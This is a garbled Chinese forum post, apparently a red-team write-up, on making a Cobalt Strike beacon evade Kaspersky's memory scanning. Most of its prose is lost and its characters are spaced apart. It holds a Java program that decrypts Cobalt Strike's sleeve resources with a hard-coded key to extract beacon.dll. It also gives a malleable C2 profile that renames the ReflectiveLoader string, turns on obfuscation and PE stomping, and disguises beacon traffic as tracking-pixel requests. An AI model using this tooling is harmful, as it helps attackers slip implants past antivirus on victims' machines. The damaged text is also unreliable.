[18326] 2021-04-04_记一次csbypass卡巴斯基内存查杀

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-18
2021-04-04_记一次csbypass卡巴斯基内存查杀 c s   b y p a s s e   H A C K   2 0 2 1 - 0 4 - 0 4 1 . 使 c o b a l t   s t r i k e   c s   4 . 1 b e a c o n 6 2 . c s 4 . x b e a c o n d l l d l l c s b e a c o n . d l l W B G I I c s s l e e v e , c s b e a c o n . d l l   / b e a c o n . x 6 4 . d l l / / A u t h o r :   W B G I I p a c k a g e   c s d e c r y p t ; i m p o r t   c o m m o n . S l e e v e d R e s o u r c e ; i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   M a i n   {         p u b l i c   s t a t i c   v o i d   s a v e F i l e ( S t r i n g   f i l e n a m e , b y t e   [ ]   d a t a ) t h r o w s   E x c e p t i o n { c s
        p u b l i c   s t a t i c   v o i d   s a v e F i l e ( S t r i n g   f i l e n a m e , b y t e   [ ]   d a t a ) t h r o w s   E x c e p t i o n {                 i f ( d a t a   ! =   n u l l ) {                         S t r i n g   f i l e p a t h   = f i l e n a m e ;                         F i l e   f i l e     =   n e w   F i l e ( f i l e p a t h ) ;                         i f ( f i l e . e x i s t s ( ) ) {                                 f i l e . d e l e t e ( ) ;                         }                         F i l e O u t p u t S t r e a m   f o s   =   n e w   F i l e O u t p u t S t r e a m ( f i l e ) ;                         f o s . w r i t e ( d a t a , 0 , d a t a . l e n g t h ) ;                         f o s . f l u s h ( ) ;                         f o s . c l o s e ( ) ;                 }         }         p u b l i c   s t a t i c   b y t e [ ]   t o B y t e A r r a y ( F i l e   f )   t h r o w s   I O E x c e p t i o n   {                 B y t e A r r a y O u t p u t S t r e a m   b o s   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ( i n t )   f . l e n g t h ( ) ) ;                 B u f f e r e d I n p u t S t r e a m   i n   =   n u l l ;                 t r y   {                         i n   =   n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( f ) ) ;                         i n t   b u f _ s i z e   =   1 0 2 4 ;                         b y t e [ ]   b u f f e r   =   n e w   b y t e [ b u f _ s i z e ] ;                         i n t   l e n   =   0 ;                         w h i l e   ( - 1   ! =   ( l e n   =   i n . r e a d ( b u f f e r ,   0 ,   b u f _ s i z e ) ) )   {                                 b o s . w r i t e ( b u f f e r ,   0 ,   l e n ) ;                         }                         r e t u r n   b o s . t o B y t e A r r a y ( ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                         t h r o w   e ;                 }   f i n a l l y   {                         t r y   {                                 i n . c l o s e ( ) ;                         }   c a t c h   ( I O E x c e p t i o n   e )   {                                 e . p r i n t S t a c k T r a c e ( ) ;                         }                         b o s . c l o s e ( ) ;                 }
        }         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   v a r 0 )   t h r o w s   E x c e p t i o n   {                 b y t e [ ]   c s d e c r y p t   =   n e w   b y t e [ ] { 1 ,   - 5 5 ,   - 6 1 ,   1 2 7 ,   1 0 2 ,   0 ,   0 ,   0 ,   1 0 0 ,   1 ,   0 ,   2 7 ,   - 2 7 ,   - 6 6 ,   8 2 ,   - 5 8 ,   3 7 ,   9 2 ,   5 1 ,   8 5 ,   - 1 1 4 ,   - 1 1 8 ,   2 8 ,   - 7 4 ,   1 0 3 ,   - 5 3 ,   6 } ;                 S l e e v e d R e s o u r c e . S e t u p ( c s d e c r y p t ) ;                 b y t e [ ]   v a r 7 = n u l l ;                 F i l e   f i l e   =   n e w   F i l e ( " s l e e v e " ) ;                           F i l e [ ]   f s   =   f i l e . l i s t F i l e s ( ) ;                       f o r ( F i l e   f f : f s ) {                                                                 i f ( ! f f . i s D i r e c t o r y ( ) )                                               v a r 7   =   S l e e v e d R e s o u r c e . r e a d R e s o u r c e ( f f . g e t P a t h ( ) ) ;                                 s a v e F i l e ( " s l e e v e d e c r y p t " + f f . g e t N a m e ( ) , v a r 7 ) ;                                 S y s t e m . o u t . p r i n t l n ( " : " + f f . g e t N a m e ( ) ) ;                 }         } } c s s l e e v e / c o m m o n / S l e e v e d R e s o u r c e . c l a s s 使 j a v a c c l a s s 3 . b e a c o n . d l l 使 K A P C o b a l t . g e n p a y l o a d 怀 c s p a y l o a d 西
使 B e y o n d   C o m p a r e d l l p a y l o a d p a y l o a d C o b a l t . g e n c 2   p r o f i l e p a y l o a d C o b a l t . g e n 4 . M E M : T r o j a n . W i n 3 2 . C o m e t e r . g e n M E M : T r o j a n . W i n 3 2 . S E P E H . g e n 使 r d a t a d a t a r d a t a R e f l e c t i v e L o a d e r C o m e t e r . g e n
t r a n s f o r m - x 8 6   {                 s t r r e p   " R e f l e c t i v e L o a d e r "   " m i s a k a l o a d e r " ; } : r d a t a S E P E H 使 r d a t a S l e e p K A P I A T I A T W B G I I c 2   p r o f i l e I A T 使   s e t   o b f u s c a t e   " t r u e " ;   b y p a s s
5 . p a y l o a d 使 s t a g e l e s s   p a y l o a d h t t p s : / / w b g l i l . g i t b o o k . i o / c o b a l t - s t r i k e / W B G I I c 2   p r o f i l e   #   d e f a u l t   s l e e p   t i m e   i s   6 0 s s e t   s l e e p t i m e   " 1 0 0 0 0 " ; #   j i t t e r   f a c t o r   0 - 9 9 %   [ r a n d o m i z e   c a l l b a c k   t i m e s ] s e t   j i t t e r         " 0 " ; #   m a x i m u m   n u m b e r   o f   b y t e s   t o   s e n d   i n   a   D N S   A   r e c o r d   r e q u e s t s e t   m a x d n s         " 2 5 5 " ; #   i n d i c a t e   t h a t   t h i s   i s   t h e   d e f a u l t   B e a c o n   p r o f i l e s e t   s a m p l e _ n a m e   " 0 0 1 " ; s t a g e   {         s e t   s t o m p p e   " t r u e " ;         s e t   o b f u s c a t e   " t r u e " ;         s e t   c l e a n u p   " t r u e " ;         t r a n s f o r m - x 8 6   {                 s t r r e p   " R e f l e c t i v e L o a d e r "   " m i s a k a l o a d e r " ;         }
        }         t r a n s f o r m - x 6 4   {                 s t r r e p   " R e f l e c t i v e L o a d e r "   " m i s a k a l o a d e r " ;         } } #   d e f i n e   i n d i c a t o r s   f o r   a n   H T T P   G E T h t t p - g e t   {         #   B e a c o n   w i l l   r a n d o m l y   c h o o s e   f r o m   t h i s   p o o l   o f   U R I s         s e t   u r i   " / c a   / d p i x e l   / _ _ u t m . g i f   / p i x e l . g i f   / g . p i x e l   / d o t . g i f   / u p d a t e s . r s s   / f w l i n k   / c m   / c x   / p i x e l   / m a t c h   / v i s i t . j s   / l o a d   / p u s h   / p t j   / j . a d   / g a . j s   / e n _ U S / a l l . j s   / a c t i v i t y   / I E 9 C o m p a t V i e w L i s t . x m l " ;         c l i e n t   {                 #   b a s e 6 4   e n c o d e   s e s s i o n   m e t a d a t a   a n d   s t o r e   i t   i n   t h e   C o o k i e   h e a d e r .                 m e t a d a t a   {                         b a s e 6 4 ;                         h e a d e r   " C o o k i e " ;                 }         }         s e r v e r   {                 #   s e r v e r   s h o u l d   s e n d   o u t p u t   w i t h   n o   c h a n g e s                 h e a d e r   " C o n t e n t - T y p e "   " a p p l i c a t i o n / o c t e t - s t r e a m " ;                 o u t p u t   {                         p r i n t ;                 }         } } #   d e f i n e   i n d i c a t o r s   f o r   a n   H T T P   P O S T h t t p - p o s t   {         #   S a m e   a s   a b o v e ,   B e a c o n   w i l l   r a n d o m l y   c h o o s e   f r o m   t h i s   p o o l   o f   U R I s   [ i f   m u l t i p l e   U R I s   a r e   p r o v i d e d ]         s e t   u r i   " / s u b m i t . p h p " ;         c l i e n t   {                 h e a d e r   " C o n t e n t - T y p e "   " a p p l i c a t i o n / o c t e t - s t r e a m " ;
e                 h e a d e r   " C o n t e n t - T y p e "   " a p p l i c a t i o n / o c t e t - s t r e a m " ;                 #   t r a n s m i t   o u r   s e s s i o n   i d e n t i f i e r   a s   / s u b m i t . p h p ? i d = [ i d e n t i f i e r ]                 i d   {                         p a r a m e t e r   " i d " ;                 }                 #   p o s t   o u r   o u t p u t   w i t h   n o   r e a l   c h a n g e s                 o u t p u t   {                         p r i n t ;                 }         }         #   T h e   s e r v e r ' s   r e s p o n s e   t o   o u r   H T T P   P O S T         s e r v e r   {                 h e a d e r   " C o n t e n t - T y p e "   " t e x t / h t m l " ;                 #   t h i s   w i l l   j u s t   p r i n t   a n   e m p t y   s t r i n g ,   m e h . . .                 o u t p u t   {                         p r i n t ;                 }         } }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则